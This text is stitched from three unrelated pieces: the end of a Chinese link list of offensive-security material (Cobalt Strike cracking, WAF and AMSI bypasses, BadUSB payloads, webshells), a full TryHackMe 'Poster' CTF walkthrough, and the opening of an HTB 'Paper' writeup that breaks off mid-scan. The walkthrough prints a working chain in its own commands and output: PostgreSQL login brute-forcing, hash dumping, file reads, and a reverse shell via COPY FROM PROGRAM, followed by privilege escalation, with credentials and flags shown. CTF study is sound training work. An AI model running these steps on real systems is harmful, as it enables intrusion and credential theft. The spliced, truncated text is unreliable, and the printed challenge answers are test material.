[CobaltStrike4.0用户手册_中文翻译_3](./books/CobaltStrike4.0用户手册_中文翻译_3.pdf) - [Cobaltstrike 4.0之 我自己给我自己颁发license.pdf](./books/Cobaltstrike%204破解之%20我自己给我自己颁发license.pdf) - [Cobalt Strike 4.0 更新内容介绍](./books/Cobalt%20Strike%204.0%20更新内容介绍.pdf) - [Cobal_Strike_自定义OneLiner](./books/Cobal_Strike_自定义OneLiner_Evi1cg's_blog.pdf) - [cobalt strike 快速上手 [ 一 ]](./books/cobalt_strike_快速上手%5B%20一%20%5D.pdf) - [Cobalt strike3.0使用手册](./books/Cobalt_strike3.0使用手册.pdf) - [Cobalt_Strike_Spear_Phish_CS邮件钓鱼制作](./books/Cobalt_Strike_Spear_Phish_Evi1cg's%20blog%20%20CS邮件钓鱼制作.md) - [Remote NTLM relaying through CS](./books/Remote_NTLM_relaying_through_CS.pdf) - [渗透测试神器Cobalt Strike使用教程](./books/渗透测试神器Cobalt%20Strike使用教程.pdf) - [Cobalt Strike的teamserver在Windows上快速启动脚本](./books/CS_teamserver_win.md) - [ThinkPHP v6.0.0_6.0.1 任意文件操作漏洞分析](./books/ThinkPHP%20v6.0.0_6.0.1%20任意文件操作漏洞分析.pdf) - [Django_CVE-2020-9402_Geo_SQL注入分析](./books/Django_CVE-2020-9402_Geo_SQL注入分析.pdf) - [CVE-2020-10189_Zoho_ManageEngine_Desktop_Central_10反序列化远程代码执行](./books/CVE-2020-10189_Zoho_ManageEngine_Desktop_Central_10反序列化远程代码执行.pdf) - [安全狗SQL注入WAF绕过](./books/安全狗SQL注入WAF绕过.pdf) - [通过将JavaScript隐藏在PNG图片中,绕过CSP](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) - [通达OA任意文件上传_文件包含GetShell](./books/通达OA任意文件上传_文件包含GetShell.pdf) - [文件上传Bypass安全狗4.0](./books/文件上传Bypass安全狗4.0.pdf) - [SQL注入Bypass安全狗4.0](./books/SQL注入Bypass安全狗4.0.pdf) - [通过正则类SQL注入防御的绕过技巧](./books/通过正则类SQL注入防御的绕过技巧.pdf) - [MYSQL_SQL_BYPASS_WIKI-mysql注入,bypass的一些心得](https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI) - [bypass云锁注入测试](./books/bypass云锁注入测试.md) - [360webscan.php_bypass](./books/360webscan.php_bypass.pdf) - [think3.2.3_sql注入分析](./books/think3.2.3_sql注入分析.pdf) - [UEditor SSRF DNS Rebinding](./books/UEditor%20SSRF%20DNS%20Rebinding) - [PHP代码审计分段讲解](https://github.com/bowu678/php_bugs) - [京东SRC小课堂系列文章](https://github.com/xiangpasama/JDSRC-Small-Classroom) - [windows权限提升的多种方式](https://medium.com/bugbountywriteup/privilege-escalation-in-windows-380bee3a2842)|[Privilege_Escalation_in_Windows_for_OSCP](./books/Privilege_Escalation_in_Windows_for_OSCP.pdf) - [bypass CSP](https://medium.com/bugbountywriteup/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)|[Content-Security-Policy(CSP)Bypass_Techniques](./books/Content-Security-Policy(CSP)Bypass_Techniques.pdf) - [个人维护的安全知识框架,内容偏向于web](https://github.com/No-Github/1earn) - [PAM劫持SSH密码](./PAM劫持SSH密码.md) - [零组资料文库-(需要邀请注册)](https://wiki.0-sec.org/) - [redis未授权个人总结-Mature](./books/redis未授权个人总结-Mature.pdf) - [NTLM中继攻击的新方法](https://www.secureauth.com/blog/what-old-new-again-relay-attack) - [PbootCMS审计](./books/PbootCMS审计.pdf) - [De1CTF2020系列文章](https://github.com/De1ta-team/De1CTF2020) - [xss-demo-超级简单版本的XSS练习demo](https://github.com/haozi/xss-demo) - [空指针-Base_on_windows_Writeup--最新版DZ3.4实战渗透](./books/空指针-Base_on_windows_Writeup--最新版DZ3.4实战渗透.pdf) - [入门KKCMS代码审计](./books/入门KKCMS代码审计.pdf) - [SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 checklist](https://github.com/LandGrey/SpringBootVulExploit) - [文件上传突破waf总结](./books/文件上传突破waf总结.pdf) - [极致CMS(以下简称_JIZHICMS)的一次审计-SQL注入+储存行XSS+逻辑漏洞](./books/极致CMS(以下简称_JIZHICMS)的一次审计-SQL注入+储存行XSS+逻辑漏洞.pdf)|[原文地址](https://xz.aliyun.com/t/7872) - [代码审计之DTCMS_V5.0后台漏洞两枚](./books/代码审计之DTCMS_V5.0后台漏洞两枚.pdf) - [快速判断sql注入点是否支持load_file](./快速判断sql注入点是否支持load_file.md) - [文件上传内容检测绕过](./books/文件上传内容检测绕过.md) - [Fastjson_=1.2.47反序列化远程代码执行漏洞复现](./books/Fastjson_=1.2.47反序列化远程代码执行漏洞复现.pdf) - [【Android脱壳】_腾讯加固动态脱壳(上篇)](./books/移动安全(九)_TengXun加固动态脱壳(上篇).pdf) - [【Android脱壳】腾讯加固动态脱壳(下篇)](./books/移动安全(十)_TengXun加固动态脱壳(下篇).pdf) - [【Android脱壳】记一次frida实战——对某视频APP的脱壳、hook破解、模拟抓包、协议分析一条龙服务](./books/记一次frida实战——对某视频APP的脱壳、hook破解、模拟抓包、协议分析一条龙服务.pdf) - [【Android抓包】记一次APP测试的爬坑经历.pdf](./books/记一次APP测试的爬坑经历.pdf) - [完整的内网域渗透-暗月培训之项目六](./books/完整的内网域渗透-暗月培训之项目六.pdf) - [Android APP渗透测试方法大全](./books/Android%20APP渗透测试方法大全.pdf) - [App安全检测指南-V1.0](./books/App安全检测指南-V1.0.pdf) - [借github上韩国师傅的一个源码实例再次理解.htaccess的功效](./books/借github上韩国师傅的一个源码实例再次理解.htaccess的功效.pdf) - [Pentest_Note-渗透Tips,总结了渗透测试常用的工具方法](https://github.com/xiaoy-sec/Pentest_Note) - [红蓝对抗之Windows内网渗透-腾讯SRC出品](./books/红蓝对抗之Windows内网渗透-腾讯SRC出品.pdf) - [远程提取Windows中的系统凭证](./books/远程提取Windows中的系统凭证.pdf) - [绕过AMSI执行powershell脚本](./books/绕过AMSI执行powershell脚本.md)|[AmsiScanBufferBypass-相关项目](https://github.com/rasta-mouse/AmsiScanBufferBypass) - [踩坑记录-Redis(Windows)的getshell](./books/踩坑记录-Redis(Windows)的getshell.pdf) - [Cobal_Strike踩坑记录-DNS Beacon](./books/Cobal_Strike踩坑记录-DNS%20Beacon.pdf) - [windows下隐藏webshell的方法](./books/windows下隐藏webshell的方法.md) - [DEDECMS伪随机漏洞分析 (三) 碰撞点(爆破,伪造管理员cookie登陆后台getshell](./books/DEDECMS伪随机漏洞分析(三)碰撞点.pdf) - [针对宝塔的RASP及其disable_functions的绕过](./books/针对宝塔的RASP及其disable_functions的绕过.pdf) - [渗透基础WMI学习笔记](./books/渗透基础WMI学习笔记.pdf) - [【海洋CMS】SeaCMS_v10.1代码审计实战](./books/SeaCMS_v10.1代码审计实战.pdf) - [红队攻防实践:闲谈Webshell在实战中的应用](./books/红队攻防实践:闲谈Webshell在实战中的应用.pdf) - [php无eval后门](./books/php无eval后门.pdf) - [【代码审计】ThinkPhp6任意文件写入](./books/[代码审计]ThinkPhp6任意文件写入.pdf) - [YzmCMS代码审计](./books/YzmCMS代码审计.pdf) - [BadUSB简单免杀一秒上线CobaltStrike](./books/BadUSB/BadUSB简单免杀一秒上线CobaltStrike.pdf) - [BasUSB实现后台静默执行上线CobaltStrike](./books/BadUSB/BadUSB实现后台静默执行上线CobaltStrike.pdf) - [手把手带你制作一个X谁谁上线的BadUSB](./books/BadUSB/手把手带你制作一个X谁谁上线的BadUSB.pdf) - [一文学会Web_Service漏洞挖掘](./books/一文学会Web_Service漏洞挖掘.pdf) - [唯快不破的分块传输绕WAF](./books/唯快不破的分块传输绕WAF.pdf) ## <span id="head9"> 说明</span> > 此项目所有文章、代码部分来源于互联网,版权归原作者所有,此项目仅供学习参考使用,严禁用于任何非法行为!使用即代表你同意自负责任! ![](https://ooo.0o0.ooo/2017/06/13/593fb9335fe9c.jpg)
# Poster The sys admin set up a rdbms in a safe way. [Poster](https://tryhackme.com/room/poster) * Network Enumeration * Metasploit (postgres_login) * Metasploit (postgres_sql) * Metasploit (postgres_hashdump) * Metasploit (postgres_readfile) * Metasploit (postgres_copy_from_program_cmd_exec) * Stored Passwords & Keys * Misconfigured Binaries ## Task 1 Flag **What is rdbms?** Depending on the EF Codd relational model, an RDBMS allows users to build, update, manage, and interact with a relational database, which stores data as a table. Today, several companies use relational databases instead of flat files or hierarchical databases to store business data. This is because a relational database can handle a wide range of data formats and process queries efficiently. In addition, it organizes data into tables that can be linked internally based on common data. This allows the user to easily retrieve one or more tables with a single query. On the other hand, a flat file stores data in a single table structure, making it less efficient and consuming more space and memory. Most commercially available RDBMSs currently use Structured Query Language (SQL) to access the database. RDBMS structures are most commonly used to perform CRUD operations (create, read, update, and delete), which are critical to support consistent data management. Are you able to complete the challenge? The machine may take up to 5 minutes to boot and configure ``` kali@kali:~/CTFs/tryhackme/Poster$ sudo nmap -p- -sC -sS -sV -O 10.10.187.163 Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-09 21:21 CEST Nmap scan report for 10.10.187.163 Host is up (0.038s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 71:ed:48:af:29:9e:30:c1:b6:1d:ff:b0:24:cc:6d:cb (RSA) | 256 eb:3a:a3:4e:6f:10:00:ab:ef:fc:c5:2b:0e:db:40:57 (ECDSA) |_ 256 3e:41:42:35:38:05:d3:92:eb:49:39:c6:e3:ee:78:de (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Poster CMS 5432/tcp open postgresql PostgreSQL DB 9.5.8 - 9.5.10 | ssl-cert: Subject: commonName=ubuntu | Not valid before: 2020-07-29T00:54:25 |_Not valid after: 2030-07-27T00:54:25 |_ssl-date: TLS randomness does not represent time No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=10/9%OT=22%CT=1%CU=30323%PV=Y%DS=2%DC=I%G=Y%TM=5F80B87 OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=FD%GCD=1%ISR=105%TI=Z%CI=I%II=I%TS=8)OPS( OS:O1=M508ST11NW6%O2=M508ST11NW6%O3=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11 OS:NW6%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN( OS:R=Y%DF=Y%T=40%W=6903%O=M508NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R= OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F= OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD= OS:S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 66.68 seconds ``` 1. What is the rdbms installed on the server? `postgresql` 3. What port is the rdbms running on? `5432` 4. Metasploit contains a variety of modules that can be used to enumerate in multiple rdbms, making it easy to gather valuable information. ``` kali@kali:~/CTFs/tryhackme/Poster$ msfconsole -q msf5 > search postgres Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal Yes ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection 1 auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal No Ruby on Rails Devise Authentication Password Reset 2 auxiliary/admin/postgres/postgres_readfile normal No PostgreSQL Server Generic Query 3 auxiliary/admin/postgres/postgres_sql normal No PostgreSQL Server Generic Query 4 auxiliary/analyze/crack_databases normal No Password Cracker: Databases 5 auxiliary/scanner/postgres/postgres_dbname_flag_injection normal No PostgreSQL Database Name Command Line Flag Injection 6 auxiliary/scanner/postgres/postgres_hashdump normal No Postgres Password Hashdump 7 auxiliary/scanner/postgres/postgres_login normal No PostgreSQL Login Utility 8 auxiliary/scanner/postgres/postgres_schemadump normal No Postgres Schema Dump 9 auxiliary/scanner/postgres/postgres_version normal No PostgreSQL Version Probe 10 auxiliary/server/capture/postgresql normal No Authentication Capture: PostgreSQL 11 exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes PostgreSQL for Linux Payload Execution 12 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection 13 exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20 excellent Yes PostgreSQL COPY FROM PROGRAM Command Execution 14 exploit/multi/postgres/postgres_createlang 2016-01-01 good Yes PostgreSQL CREATE LANGUAGE Execution 15 exploit/windows/misc/manageengine_eventlog_analyzer_rce 2015-07-11 manual Yes ManageEngine EventLog Analyzer Remote Code Execution 16 exploit/windows/postgres/postgres_payload 2009-04-10 excellent Yes PostgreSQL for Microsoft Windows Payload Execution 17 post/linux/gather/enum_users_history normal No Linux Gather User History Interact with a module by name or index, for example use 17 or use post/linux/gather/enum_users_history msf5 > ``` 5. After starting Metasploit, search for an associated auxiliary module that allows us to enumerate user credentials. What is the full path of the modules (starting with auxiliary)? ``` use auxiliary/scanner/postgres/postgres_login msf5 auxiliary(scanner/postgres/postgres_login) > ``` 6. What are the credentials you found? example: user:password ``` msf5 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 10.10.187.163 RHOSTS => 10.10.187.163 msf5 auxiliary(scanner/postgres/postgres_login) > run [!] No active DB -- Credential data will not be saved! [-] 10.10.187.163:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: postgres:postgres@template1 (Incorrect: Invalid username or password) [+] 10.10.187.163:5432 - Login Successful: postgres:password@template1 [-] 10.10.187.163:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password) [-] 10.10.187.163:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/postgres/postgres_login) > ``` `postgres:password` 7. What is the full path of the module that allows you to execute commands with the proper user credentials (starting with auxiliary)? 8. Based on the results of #6, what is the rdbms version installed on the server? ``` msf5 auxiliary(scanner/postgres/postgres_login) > use auxiliary/admin/postgres/postgres_sql msf5 auxiliary(admin/postgres/postgres_sql) > show options Module options (auxiliary/admin/postgres/postgres_sql): Name Current Setting Required Description ---- --------------- -------- ----------- DATABASE template1 yes The database to authenticate against PASSWORD postgres no The password for the specified username. Leave blank for a random password. RETURN_ROWSET true no Set to true to see query result sets RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 5432 yes The target port SQL select version() no The SQL query to execute USERNAME postgres yes The username to authenticate as VERBOSE false no Enable verbose output msf5 auxiliary(admin/postgres/postgres_sql) > set RHOSTS 10.10.187.163 RHOSTS => 10.10.187.163 msf5 auxiliary(admin/postgres/postgres_sql) > set password password password => password msf5 auxiliary(admin/postgres/postgres_sql) > run [*] Running module against 10.10.187.163 Query Text: 'select version()' ============================== version ------- PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit [*] Auxiliary module execution completed msf5 auxiliary(admin/postgres/postgres_sql) > ``` 9. What is the full path of the module that allows for dumping user hashes (starting with auxiliary)? `auxiliary/scanner/postgres/postgres_hashdump` 10. How many user hashes does the module dump? ``` msf5 auxiliary(admin/postgres/postgres_sql) > use auxiliary/scanner/postgres/postgres_hashdump msf5 auxiliary(scanner/postgres/postgres_hashdump) > show options Module options (auxiliary/scanner/postgres/postgres_hashdump): Name Current Setting Required Description ---- --------------- -------- ----------- DATABASE postgres yes The database to authenticate against PASSWORD postgres no The password for the specified username. Leave blank for a random password. RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 5432 yes The target port THREADS 1 yes The number of concurrent threads (max one per host) USERNAME postgres yes The username to authenticate as msf5 auxiliary(scanner/postgres/postgres_hashdump) > set rhosts 10.10.187.163 rhosts => 10.10.187.163 msf5 auxiliary(scanner/postgres/postgres_hashdump) > set password password password => password msf5 auxiliary(scanner/postgres/postgres_hashdump) > run [+] Query appears to have run successfully [+] Postgres Server Hashes ====================== Username Hash -------- ---- darkstart md58842b99375db43e9fdf238753623a27d poster md578fb805c7412ae597b399844a54cce0a postgres md532e12f215ba27cb750c9e093ce4b5127 sistemas md5f7dbc0d5a06653e74da6b1af9290ee2b ti md57af9ac4c593e9e4f275576e13f935579 tryhackme md503aab1165001c8f8ccae31a8824efddc [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/postgres/postgres_hashdump) > ``` `6` 11. What is the full path of the module (starting with auxiliary) that allows an authenticated user to view files of their choosing on the server? ``` msf5 auxiliary(scanner/postgres/postgres_hashdump) > use auxiliary/admin/postgres/postgres_readfile msf5 auxiliary(admin/postgres/postgres_readfile) > show options Module options (auxiliary/admin/postgres/postgres_readfile): Name Current Setting Required Description ---- --------------- -------- ----------- DATABASE template1 yes The database to authenticate against PASSWORD postgres no The password for the specified username. Leave blank for a random password. RFILE /etc/passwd yes The remote file RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 5432 yes The target port USERNAME postgres yes The username to authenticate as VERBOSE false no Enable verbose output msf5 auxiliary(admin/postgres/postgres_readfile) > set RHOSTS 10.10.187.163 RHOSTS => 10.10.187.163 msf5 auxiliary(admin/postgres/postgres_readfile) > set PASSWORD password PASSWORD => password msf5 auxiliary(admin/postgres/postgres_readfile) > run [*] Running module against 10.10.187.163 Query Text: 'CREATE TEMP TABLE jbSGTotEY (INPUT TEXT); COPY jbSGTotEY FROM '/etc/passwd'; SELECT * FROM jbSGTotEY' ============================================================================================================================== input ----- #/home/dark/credentials.txt _apt:x:105:65534::/nonexistent:/bin/false alison:x:1000:1000:Poster,,,:/home/alison:/bin/bash backup:x:34:34:backup:/var/backups:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin dark:x:1001:1001::/home/dark: games:x:5:60:games:/usr/games:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin messagebus:x:106:110::/var/run/dbus:/bin/false news:x:9:9:news:/var/spool/news:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin postgres:x:109:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash proxy:x:13:13:proxy:/bin:/usr/sbin/nologin root:x:0:0:root:/root:/bin/bash sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync sys:x:3:3:sys:/dev:/usr/sbin/nologin syslog:x:104:108::/home/syslog:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin uuidd:x:107:111::/run/uuidd:/bin/false www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin #/home/dark/credentials.txt root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false uuidd:x:107:111::/run/uuidd:/bin/false alison:x:1000:1000:Poster,,,:/home/alison:/bin/bash sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin postgres:x:109:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash dark:x:1001:1001::/home/dark: [+] 10.10.187.163:5432 Postgres - /etc/passwd saved in /home/kali/.msf4/loot/20201009213251_default_10.10.187.163_postgres.file_260620.txt [*] Auxiliary module execution completed msf5 auxiliary(admin/postgres/postgres_readfile) > ``` 12. What is the full path of the module that allows arbitrary command execution with the proper user credentials (starting with exploit)? ``` msf5 auxiliary(admin/postgres/postgres_readfile) > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec [*] Using configured payload cmd/unix/reverse_perl msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec): Name Current Setting Required Description ---- --------------- -------- ----------- DATABASE template1 yes The database to authenticate against DUMP_TABLE_OUTPUT false no select payload command output from table (For Debugging) PASSWORD postgres no The password for the specified username. Leave blank for a random password. RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 5432 yes The target port (TCP) TABLENAME WaGFGJFoDn yes A table name that does not exist (To avoid deletion) USERNAME postgres yes The username to authenticate as Payload options (cmd/unix/reverse_perl): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 10.10.187.163 RHOSTS => 10.10.187.163 msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set PASSWORD password PASSWORD => password msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 10.8.106.222 LHOST => 10.8.106.222 msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run [*] Started reverse TCP handler on 10.8.106.222:4444 [*] 10.10.187.163:5432 - 10.10.187.163:5432 - PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit [*] 10.10.187.163:5432 - Exploiting... [+] 10.10.187.163:5432 - 10.10.187.163:5432 - WaGFGJFoDn dropped successfully [+] 10.10.187.163:5432 - 10.10.187.163:5432 - WaGFGJFoDn created successfully [+] 10.10.187.163:5432 - 10.10.187.163:5432 - WaGFGJFoDn copied successfully(valid syntax/command) [+] 10.10.187.163:5432 - 10.10.187.163:5432 - WaGFGJFoDn dropped successfully(Cleaned) [*] 10.10.187.163:5432 - Exploit Succeeded [*] Command shell session 1 opened (10.8.106.222:4444 -> 10.10.187.163:59376) at 2020-10-09 21:34:33 +0200 whoami postgres python3 -c "import pty;pty.spawn('/bin/bash')" postgres@ubuntu:/var/lib/postgresql/9.5/main$ id id uid=109(postgres) gid=117(postgres) groups=117(postgres),116(ssl-cert) postgres@ubuntu:/var/lib/postgresql/9.5/main$ find / -type f -name user.txt 2>/dev/null <stgresql/9.5/main$ find / -type f -name user.txt 2>/dev/null /home/alison/user.txt postgres@ubuntu:/var/lib/postgresql/9.5/main$ cat /home/alison/user.txt cat /home/alison/user.txt cat: /home/alison/user.txt: Permission denied postgres@ubuntu:/var/lib/postgresql/9.5/main$ cd /var/www/html/ cd /var/www/html/ postgres@ubuntu:/var/www/html$ ls ls config.php poster postgres@ubuntu:/var/www/html$ cat config.php cat config.php <?php $dbhost = "127.0.0.1"; $dbuname = "alison"; $dbpass = "p4ssw0rdS3cur3!#"; $dbname = "mysudopassword"; ?>postgres@ubuntu:/var/www/html$ ``` 13. Compromise the machine and locate user.txt ``` postgres@ubuntu:/var/www/html$ su alison su alison Password: mysudopassword su: Authentication failure postgres@ubuntu:/var/www/html$ su alison su alison Password: p4ssw0rdS3cur3!# alison@ubuntu:/var/www/html$ cat /home/alison/user.txt cat /home/alison/user.txt THM{postgresql_fa1l_conf1gurat1on} alison@ubuntu:/var/www/html$ ``` 14. Escalate privileges and obtain root.txt ``` alison@ubuntu:/var/www/html$ sudo -l sudo -l [sudo] password for alison: p4ssw0rdS3cur3!# Matching Defaults entries for alison on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User alison may run the following commands on ubuntu: (ALL : ALL) ALL alison@ubuntu:/var/www/html$ sudo -s sudo -s root@ubuntu:/var/www/html# cat /root/root.txt cat /root/root.txt THM{c0ngrats_for_read_the_f1le_w1th_credent1als} root@ubuntu:/var/www/html# ```
# Paper Writeup ## Enumeration ### Nmap First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.143 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.143`. ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA) | 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA) |_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519) 80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 |_http-title: HTTP Server Test Page powered by CentOS | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-title: HTTP Server Test Page powered by CentOS |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 | http-methods: |_ Potentially risky methods: TRACE | ssl-cert: Subject: 